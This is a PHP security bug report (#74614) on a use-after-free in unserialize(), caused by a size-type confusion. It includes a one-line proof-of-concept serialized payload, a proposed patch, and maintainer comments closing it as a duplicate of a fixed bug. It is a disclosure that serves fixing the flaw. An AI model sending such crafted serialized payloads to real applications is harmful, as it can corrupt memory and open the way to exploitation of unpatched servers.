PHP :: Sec Bug #74614 :: Use-after-free in PHP7's unserialize()
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Sec Bug #74614 Use-after-free in PHP7's unserialize()
Submitted: 2017-05-18 15:22 UTC Modified: 2017-07-04 19:33 UTC
From: taoguangchen at icloud dot com Assigned: stas (profile)
Status: Closed Package: *General Issues
PHP Version: 7.0.20 OS: *
Private report: No CVE-ID: None
 [2017-05-18 15:22 UTC] taoguangchen at icloud dot com
Description:
------------
Use-after-free in PHP7's unserialize()


```
"a:" uiv ":" "{" {
	zend_long elements = parse_iv(start + 2);
	/* use iv() not uiv() in order to check data range */
	*p = YYCURSOR;
    if (!var_hash) return 0;

	if (elements < 0) {
		return 0;
	}

	array_init_size(rval, elements);
```

The elements is set to zend_long in during array deserialization.

```
ZEND_API int _array_init(zval *arg, uint32_t size ZEND_FILE_LINE_DC) /* {{{ */
{
	ZVAL_NEW_ARR(arg);
	_zend_hash_init(Z_ARRVAL_P(arg), size, ZVAL_PTR_DTOR, 0 ZEND_FILE_LINE_RELAY_CC);
	return SUCCESS;
}
```

But size is set to uint32_t in array, and the default minimum size is 8.
So there is zend_long/uint32_t confusion issue.

```
3020000000000000000000000000000001 ===> 3127371069258727425 ===> 1
```

So an attacker can initializing an array with 8 sizes via the following code.

```
a:3020000000000000000000000000000001:{
```

However the attacker can add more elements into the array, then the array will be resized.
This means the attacker can free some elements's memory in the array then references to that already freed memory via R: or r:

PoC:
```
<?php

unserialize('a:3020000000000000000000000000000001:{i:0;a:0:{}i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;R:2;}');
```


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History

AllCommentsChangesGit/SVN commitsRelated reports
 [2017-05-18 15:27 UTC] taoguangchen at icloud dot com
-: taoguangche at icloud dot com +: taoguangchen at icloud dot com
 [2017-05-18 15:27 UTC] taoguangchen at icloud dot com
oh, just change my correct email.
 [2017-05-20 07:15 UTC] taoguangchen at icloud dot com
Of course the issue can also be triggered in during object deserialization.
 [2017-05-21 14:13 UTC] taoguangchen at icloud dot com
Fix:
```
static zend_always_inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, zend_long elements, int objprops)
{
+	if (elements > (ht)->nTableSize) {
+		return 0;
+	}
	
	while (elements-- > 0) {
```
 [2017-06-08 22:41 UTC] taoguangchen at icloud dot com
-PHP Version: 7.0.19 +PHP Version: 7.0.20
 [2017-06-08 22:41 UTC] taoguangchen at icloud dot com
Still unfixed.
 [2017-06-25 19:03 UTC] nikic@php.net
This is basically the same as bug #74101. Patch attached there: 2a3deba4e2f1e2f912a36f904160ca51
 [2017-07-04 19:33 UTC] stas@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2017-07-04 19:33 UTC] stas@php.net
The fix for this bug has been committed.

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